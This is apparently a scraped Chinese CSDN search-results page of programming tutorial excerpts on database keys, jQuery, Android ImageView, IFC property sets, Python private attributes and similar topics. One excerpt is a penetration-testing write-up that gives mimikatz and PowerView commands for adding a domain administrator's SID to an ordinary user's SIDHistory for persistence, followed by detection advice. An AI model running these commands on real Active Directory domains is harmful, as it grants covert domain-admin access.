精华内容
下载资源
问答
  • 一、讲解 首先说明 键字=码字,所以 主键=主码=主关键字,候选键=候选码=候选关键字... ... 1、码=超键:能够唯一标识一条记录的属性属性集。 标识性:一个数据表的所有记录都具有不同的超键 非空性:...

    一、讲解

           首先说明 键字=码字,所以 主键=主码=主关键字,候选键=候选码=候选关键字...

    所谓关系键,指的是一个表中的一个(或一组)属性,用来标识该表的每一行与另一个表产生联系

    话不多说,上图:

      相信这个图已经画得很清晰了,下面逐一解释:

      1、码=超键:能够唯一标识一条记录的属性或属性集。

      • 标识性:一个数据表的所有记录都具有不同的超键
      • 非空性:不能为空
      • 有些时候也把码称作“键”

      2、候选键=候选码:能够唯一标识一条记录的最小属性集

      • 标识性:一个数据表的所有记录都具有不同的候选键
      • 最小性:任一候选键的任何真子集都不能唯一标识一个记录(比如在成绩表中(学号,课程号)是一个候选键,单独的学号,课程号都不能决定一条记录)
      • 非空性:不能为空
      • 候选键是没有多余属性的超键
      • 举例:学生ID是候选码,那么含有候选码的都是码。
      • 少部分地方也有叫超级码的,但是见得不多

      3、主键=主码某个能够唯一标识一条记录的最小属性集(是从候选码里人为挑选的一条)

      • 唯一性:一个数据表只能有一个主键
      • 标识性:一个数据表的所有记录都具有不同的主键取值
      • 非空性:不能为空
      • 人为的选取某个候选码为主码

    4、主属性  包含在任一候选码中的属性称主属性。简单来说,主属性是候选码所有属性的并集

          非主属性  不包含在候选码中的属性称为非主属性。 非主属性是相对于主属性来定义的。

    5外键(foreign key):子数据表中出现的父数据表的主键,称为子数据表的外键。

    6、全码:当所有的属性共同构成一个候选码时,这时该候选码为全码。(教师,课程,学生)假如一个教师可以讲授多门课程,某门课程可以有多个教师讲授,学生可以听不同教师讲授的不同课程,那么,要区分关系中的每一个元组,这个关系模式R的候选码应为全部属性构成 (教师、课程、学生),即主码。

    7、代理键:当不适合用任何一个候选键作为主键时(如数据太长等),添加一个没有实际意义的键作为主键,这个键就是代理键。(如常用的序号1、2、3)

    8、自然键:自然生活中唯一能够标识一条记录的键(如身份证)

    二、例子

    下面举例说明

    课本上的定义过于笼统,下面我用一张学生成绩信息表给大家详细的说一下:

    学生成绩信息表中有(学号、姓名、性别、年龄、系别、专业等)

    超键/码:

      由于学号能确定一个学生,因此学生表中含有学号的任意组合都为此表的超键。如:(学号)、(学号,姓名)、(学号,性别)等

     若我们假设学生的姓名唯一,没有重名的现象。

          学号唯一,所以是一个超键
          姓名唯一,所以是一个超键
         (姓名,性别)唯一,所以是一个超键
         (姓名,年龄)唯一,所以是一个超键
         (姓名,性别,年龄)唯一,所以是一个超键

    候选键:

       学号唯一,而且没有多余属性,所以是一个候选键

       姓名唯一,而且没有多余属性,所以是一个候选键

      (姓名,性别)唯一,但是单独姓名一个属性就能确定这个人是谁,所以性别这个属性就是多余属性,所以(姓名,性别)不是候选键
      (姓名,年龄),(姓名,性别,年龄)同上,也不是候选键

    主键:

      主键就是候选键里面的一个,是人为规定的,例如学生表中,我们通常会让“学号”做主键,学号能唯一标识这一个元组。

    外键:

       外键就很简单了,假如我们还有一个教师表,每个教师都有自己的编号,假设老师编号在教师表中是主键,在学生表中它就是外键

    三、练习

    做一道练习题巩固一下(假设名字可能有重复):

    参考答案:

    1.答案:

    (1)候选关键字2个:(学号),(身份证号)
    (2)主关键字:(学号)
    (3)主属性2个:学号,身份证号
    (4)非主属性2个:姓名,系别
    2. 答案:

    (1)候选关键字1个:(学号,课程号)
    (2)主关键字:(学号,课程号)
    (3)主属性2个:学号,课程号
    (4)非主属性1个:成绩
    (5)外部关键字:学号(引用学生信息表中的学号),课程号(引用课程信息表中的课程号)
    3.答案:

    (1)候选关键字1个:(课程号)
    (2)主关键字:(课程号)
    (3)主属性1个:课程号
    (4)非主属性2个:课程名,学分 

    如有疑问请在评论区留言,如有帮助麻烦右上角点个赞~~蟹蟹(*^▽^*)

    展开全文
  • SIDHistory属性的利用

    万次阅读 2020-12-24 11:20:51
    对某用户的SIDHistory属性进行操作2.1 查询zhangsan的SIDHistory2.2 给zhangsan用户添加域管的sid2.3 删除zhangsan的SIDHistory属性3.利用思路3.1 权限维持3.2 利用当前用户的sidhistory属性防御方法 1. 前言 ...

    1. 前言

    SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利

    2.对某用户的SIDHistory属性进行操作

    以下操作都必须得在域控的权限下进行

    2.1 查询zhangsan的SIDHistory

    使用mimikatz

    sid::query /sam:zhangsan
    

    在这里插入图片描述

    使用powerview

    Set-ExecutionPolicy Bypass -Scope Process
    . .\PowerView.ps1
    Get-ADUser zhangsan -Properties sidhistory
    

    在这里插入图片描述

    2.2 给zhangsan用户添加域管的sid

    privilege::debug
    sid::patch
    sid::add /sam:zhangsan /new:administrator
    sid::query /sam:zhangsan
    

    在这里插入图片描述

    2.3 删除zhangsan的SIDHistory属性

    sid::clear /sam:zhangsan # 清除SID History
    

    在这里插入图片描述
    发现SIDHistory已经消失。

    3.利用思路

    我认为共有两种利用思路,第一种是给域内低权限用户配置SIDHistory让其拥有域控权限。第二种方式是渗透测试的途中发现某个用户的SIDHistory是高权限的sid,那么这个用户就直接具有了高权限。

    3.1 权限维持

    如果已经拿到域控权限,可以给域内一个普通账号配置sidhistory,这样子域内的普通账号也就具备了域控的权限,具体操作方法上面也已经写过了。

    3.2 利用当前用户的sidhistory属性

    通过powerview直接查询域内具有sidhistory属性的用户:

    Set-ExecutionPolicy Bypass -Scope Process
    . .\PowerView.ps1
    Get-DomainUser | select sidhistory,cn
    

    如下图所示,如果当前控制的用户是zhangsan,那我们就直接拥有了域控的权限(域控权限的RID)是500,也可以直接访问域控的C$:

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    防御方法

    1.经常检查域用户中SID为500的用户,对这些用户的行为进行跟踪。

    2.完成域迁移工作后,对有相同SID History属性的用户进行检查。

    3.定期检查ID为4765和4766的日志,4765为将SID History属性添加到用户的日志;4766为将SID History属性添加到用户失败的日志。

    展开全文
  • 操作属性节点 属性节点就是在标签上的各种属性,例如class,name,id等; 操作属性节点主要用到jQuery中:attr函数,removeAttr函数 attr函数是用来查询和设置属性节点的函数 查询属性:在attr函数中只写一个...

    操作属性节点

    属性节点就是在标签上的各种属性,例如class,name,id等;

    • 操作属性节点主要用到jQuery中:attr函数,removeAttr函数
      • attr函数是用来查询和设置属性节点的函数
        • 查询属性:在attr函数中只写一个属性名就代表查询属性
          • 注意:无论找到多少个元素,都只会返回第一个元素指定的属性节点的值
        • 设置属性:在attr函数中写属性名和属性值两个属性表示设置
          • 注意:找到多少个元素就会设置多少个元素
      • removeAttr函数是用来删除属性节点的函数:
        • 会删除所有找到元素指定的属性节点
        • 如果想一次删除多个属性节点就用空格间隔,输入第二个
    //查询class属性
    console.log($("span").attr("class"));
    //设置class为box
    $("span").attr("class", "box");
    //删除class和name
    $("span").removeAttr("class name");
    

    操作属性

    操作属性和操作属性节点大同小异

    • 操作属性节点主要用到jQuery中:prop函数,removeProp函数
      • 注意点:prop不但能操作属性,也能操作属性节点(因为属性节点在attributes属性中)
    • 操作属性节点attr和prop的具体用法:
      • 具有 true 和 false 两个属性的属性节点 checked, selected 或者 disabled 使用 prop(), 其他的使用 attr()
    //查看属性
    $("span").prop("demo")//返回第一个找到的
    //设置属性
    $("span").prop("demo", "it666");
    //删除属性
    $("span").removeProp("demo")
    //获取属性节点
    console.log($("span").prop("class"))
    //设置属性节点
    $("span").prop("class", "box")
    

    操作css类

    就是添加或者删除类的操作:addClass,removeClass,toggleClass

    • 添加类(addClass)
      • 如果想要添加多个类,用空格隔开
    • 删除类(removeClass)
      • 如果想要删除多个类,用空格隔开
    • 切换类
      • 如果没有此类就添加,如果有就删除
      • 多个还是用空格隔开
    $("div").addClass("class1 class2");
     $("div").removeClass("class1 class2");
    $("div").toggleClass("class1 class2");
    

    操作HTML代码/文本/值

    在jQuery用的方法为:html ,text,val---->相当于原生js的innerHTML和innerText和设置value

    • 这三个方法的设置和获取都是一个函数
      • 设置,传入要设置的内容
      • 获取,什么都不用穿
    //相当于原生的innerHTML(设置代码)
    $("div").html("<p>我是段落<span>我是span</span></p>");
    //获取后代代码
    console.log($("div").html());
    
    //相当于原生innerText(设置文本)
    $("div").text("我是一个文本内容");
    //获取文本
     console.log($("div").text());
    
    //设置value
    $("input").val("请输入内容");
    //获取value
    console.log($("input").val());
    
    展开全文
  • IFC属性属性

    千次阅读 热门讨论 2018-08-02 15:50:37
    1.属性集  属性集是属性的集合,属性集的分类如下:  静态属性集以 IFC 实体的方式定义,其属性以IFC schema 的方式静态的定义在属 性 集 中 , 如 IfcDoorLiningProperties 、 IfcDoorPanelProperties...

    1.属性集

        属性集是属性的集合,属性集的分类如下:

       静态属性集以 IFC 实体的方式定义,其属性以IFC schema 的方式静态的定义在属 性 集 中 , 如 IfcDoorLiningProperties 、 IfcDoorPanelProperties 、IfcSoundProperties。

         动态属性集以 IfcPropertySet 实体表示。IfcPropertySet是一个装载属性的容器,具体的属性则由 IfcProperty 表示。动态属性集分为预定义属性集和自定义属性集。IFC 规范中定义的动态属性集为预定义属性集,而用户根据自身需求定义的动态属性集为自定义属性集。

    1.1.属性

       属性是构成属性集的基本单位,可以分为简单属性和复杂属性两类。 

        IfcProperty是抽象类型,定义了可以通过属性集机制与IFC对象关联的所有属性的抽象。

       IfcComplexProperty定义由多种不同类型的属性构成的复杂属性,它可以包含另一个IfcComplexProperty属性,因此是嵌套的。

        IfcSimpleProperty是简单属性对象,根据所描述对象的特征分为如下类型:

    类型 适用范围
    IfcPropertySingleValue 定义单值属性
    IfcPropertyEnumeratedValue 定义枚举型的属性
    IfcPropertyBoundedValue 定义具有上下边界区间的属性
    IfcPropertyTableValue 定义一个以表格结构存储数据的属性,该表格由两列相互对应的数据组成
    IfcPropertyReferenceValue 定义将实体引用作为属性值的属性
    IfcPropertyListValue 定义具有多个值的列表类型的属性

    1.2 静态属性集

        静态属性集将属性集中的属性以实体属性的方式定义,特定的静态属性集只能应用于特定的实体。

    静态属性集 适用的实体类型 
    IfcDoorLining Properties IfcDoorStyle
    IfcWindowPanelProperties  IfcWindowStyle
    IfcElementQuantity 多个类型,例如 IfcBuilding、IfcSpace、IfcBeam 等
    IfcSpaceThermalLoadProperties IfcSpace 

    1.3 预定义属性集

        IFC规范针对不同领域预先定义的属性集,以Pset_作为名称前缀。

        属性集通过两张表格进行定义,包括属性集的名称、适用的实体类型、属性集说明以及属性的具体定义。

        Pset_CoveringFlooring 属性集的定义如下:

    属性集名称 适用的实体 适用的类型值 定义
    Pset_CoveringFlooring IfcCovering Flooring 用于描述 IfcCovering 实体实例的通用属性,适用于PredefinedType 为 FLOORING值的情况。 

       Pset_CoveringFlooring 属性定义如下:

    名称 属性类型 数据类型  定义 
    HasNonSkidSurface IfcPropertySingleValue

    IfcBoolean

    默认值:FALSE

    表明表面是否抗滑
    HasAntiStaticSurface IfcPropertySingleValue

    IfcBoolean

    默认值:FALSE

    表明表面是否抗静电

    1.4 自定义属性集

       自定义属性集,用户对属性集的名称、适用范围以及属性的定义及涵义进行约定,从而满足信息交换与共享的需求。自定义属性集可以参考预定义属性集的格式描述。

    2. IFC文件

        下面对IFC文件中属性及属性集的描述进行分析,文件内容如下:

    #172= IFCCOLUMN('1Gqp62BzHBLvjB0FoH647s',#41,'M_\X2\77E95F6267F1\X0\:475 x 610mm:203090',$,'475 x 610mm',#170,#163,'203090');
    #181= IFCQUANTITYVOLUME('GrossVolume',$,$,0.869249999999998);
    #182= IFCELEMENTQUANTITY('0f1sXTQiT2DfQM33wiTKTy',#41,'BaseQuantities',$,$,(#181));
    #187= IFCRELDEFINESBYPROPERTIES('3R85DKTDrA7v4wJDVt45kl',#41,$,$,(#172),#182);
    #191= IFCPROPERTYSINGLEVALUE('Reference',$,IFCIDENTIFIER('M_\X2\77E95F6267F1\X0\:475 x 610mm'),$);
    #192= IFCPROPERTYSINGLEVALUE('LoadBearing',$,IFCBOOLEAN(.F.),$);
    #193= IFCPROPERTYSINGLEVALUE('IsExternal',$,IFCBOOLEAN(.F.),$);
    #194= IFCPROPERTYSET('3k2zVw6eD9AflMK8DfVVXl',#41,'Pset_ColumnCommon',$,(#191,#192,#193));
    #196= IFCRELDEFINESBYPROPERTIES('2kFLGDqi98reRe3Bpb7Cdg',#41,$,$,(#172),#194);

    #172是实体定义,表示一个柱子。

    #196将实体柱子(#172)与属性集(#194)关联起来了。

    #194是是属性集,里面包含了三个属性定义(#191,#192,#193),

    #191,#192,#193都是是简单的单值属性,即IfcPropertySingleValue。

    #191定义了‘Reference',值类型是IFCIDENTIFIER,值为'M_\X2\77E95F6267F1\X0\:475 x 610mm'。

    #192定义了'oadBearing',值类型是IFCBOOLEAN,值为False。

    #193定义了'IsExternal',值类型是IFCBOOLEAN,值为False。

    展开全文
  • ImageView的scaleType的属性理解

    万次阅读 多人点赞 2017-08-04 14:05:15
    ImageView的scaleType的属性值有MATRIX,FIT_XY,FIT_START,FIT_END,FIT_CENTER,CENTER,CENTER_CROP,CENTER_INSIDE.1.android:scaleType=“center” 保持原图的大小,显示在ImageView的中心。当原图的size大于...
  • java反射机制根据属性名获取属性

    万次阅读 2018-07-26 11:18:57
    一、考虑安全访问范围内的属性,没有权限访问到的属性不读取 /** * 根据属性名获取属性值 * * @param fieldName * @param object * @return */ private String getFieldValueByFieldName(String field...
  • vue中computed计算属性传入参数

    万次阅读 2018-09-01 16:56:42
    使用JavaScript闭包,进行传值操作。 computed: { // 控制显示的内容 computedTxt() { return function(value) { return this.methodGetByteLen(value, 20) ...做一个简单的功能,使用计算属性判断传入的...
  • 基于属性图卷积网络的属性级情感分类
  • Python:类的继承,调用父类的属性和方法基础详解

    万次阅读 多人点赞 2018-12-30 11:35:01
    以下案例均表示Son类继承父类的一些属性和初始化参数构造等。 5个模块: (1):直接调用父类属性方法; (2):重写父类属性方法; (3):强制调用父类私有属性方法; (4):调用父类的__init__方法 (5)...
  • delete只是断开属性和宿主对象的联系,而不会去操作属性中的属性: delete book.author;//book不再有属性author delete book["main title"];//book也不再有属性"main title" delete运算符...
  • Android 深入理解Android中的自定义属性

    万次阅读 多人点赞 2015-04-13 10:42:00
    对于自定义属性,大家肯定都不陌生,遵循以下几步,就可以实现: 自定义一个CustomView(extends View )类 编写values/attrs.xml,在其中编写styleable和item等标签元素 在布局文件中CustomView使用自定义的属性...
  • Spring Boot 属性配置和使用

    万次阅读 多人点赞 2015-12-27 15:27:51
    Spring Boot 属性配置和使用Spring Boot 允许通过外部配置让你在不同的环境使用同一应用程序的代码,简单说就是可以通过配置文件来注入属性或者修改默认的配置。Spring Boot 入门 请看:...
  • json过滤某些属性 之@jsonignore

    万次阅读 多人点赞 2016-08-21 12:18:04
    Jackson相关:使用Jackson相关的注解时一定要注意自己定义的属性命名是否规范。 命名不规范时会失去效果。(例如Ename ,Eage 为不规范命名。“nameE”,“ageE”为规范命名)我在此处掉坑半个小时。至于命名规范,...
  • js 通过对象属性名称获取属性值的注意要点

    万次阅读 多人点赞 2019-06-01 00:35:24
    属性名 获取属性值的时候,属性名(AttrName )不能是一个变量。 2、可以是变量 原始数据数组: var rawDataList = [ { "countDate": "2018-04-08", "countNum": "2"...
  • python私有方法和私有属性

    万次阅读 多人点赞 2018-05-21 08:51:51
    Python默认的成员函数和成员变量都是公开的,Python 私有属性和方法没有类似别的语言的public,private等关键词来修饰。 在python中定义私有变量只需要在变量名或函数名前加上 "__"两个下划线,那么这个函数或变量就...
  • jquery删除属性和添加属性

    万次阅读 2015-05-21 10:01:51
    1.DOM操作的删除属性和添加属性  String Element.getAttribute(attrName);//获取对象属性值  void Element.getAttribute(attrName,attrValue);//设置对象的属性值  void Element.removeAttribute(attrName);//...
  • HTML 标准属性 和 自定义属性

    千次阅读 2018-06-17 14:36:05
    HTML 标准属性 和 自定义属性的区别联系
  • 依赖属性和附加属性

    千次阅读 2017-10-20 14:56:41
     刚着手开始学习C#的时候,不明白为什么会有属性这个东西,不是已经有了字段了吗,你说属性里面有get和set方法对数据进行了封装,可以通过对方法的访问限定来控制该属性是否可以被赋值,但是不也有readonly这个...
  • springboot如何将一个对象的所有属性赋值到另外一个对象上,属性名需要相同 BeanUtils.copyProperties(源对象, 目标对象); 我们使用spring boot自带的工具类即可
  • python 公有属性和私有属性

    千次阅读 2017-08-17 00:09:14
    python 公有属性和私有属性
  • 你好!这里是风筝的博客, ...存在属性(Directory, Archive),包括属性(0),不包括属性(Archive, Compressed, Encrypted)   然后我就去百度和Google了,发现大家的错误是:存在属性(Directory, Comp...
  • form表单HTML5、CSS3标签及属性属性值 form表单HTML标签、属性属性值: (单行文本输入框) (密码输入框) (单选框) (多选框) (提交按钮) (重置按钮) 或者按钮(空按钮) (下拉框选...
  • 多值属性、复合属性等概念

    千次阅读 2020-04-24 09:19:30
    多值属性、符合属性等概念 1).简单属性:不能再划分为更小部分的属性。 2).复合属性:可以再划分为更小的部分,也就是能再划分为一些其他属性属性。 比如说:name属性可被设计为一个包括first_name,middle_name,...
  • 什么是属性 属性是一个数据字段,表示数据对象的一个特征。一个属性的类型由该属性可能具有的值的集合决定。 标称属性 标称意味着“与名称有关”,标称属性的值是一些符号或者是事物的名称。每个值代表某种类别、...
  • 转载自 linshutao博客 ... 因为项目需要用到,于是简单封装了一些常用的操作: .../** * 根据属性名获取属性值 * */ private Object getFieldValueByName(String fieldName, Object o) { 
  • 在JavaScript中, 对象可以带属性,对象的原型(pototype)也可以带属性,类(Function对象)也可以带属性,那么这些属性有什么区别呢? 1、实验条件 首先声明一个类 var my fun = function(){} (1)类的属性 ...
  • JS属性特性(属性描述符)

    万次阅读 2017-06-30 16:55:41
    configurable:可配置性,控制着其描述的属性的修改,表示能否修改属性的特性,能否把属性修改为访问器属性,或者能否通过delete删除属性从而重新定义属性。默认值为true。 enumerable:可枚举性,表示能否通过...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,398,268
精华内容 559,307
关键字:

属性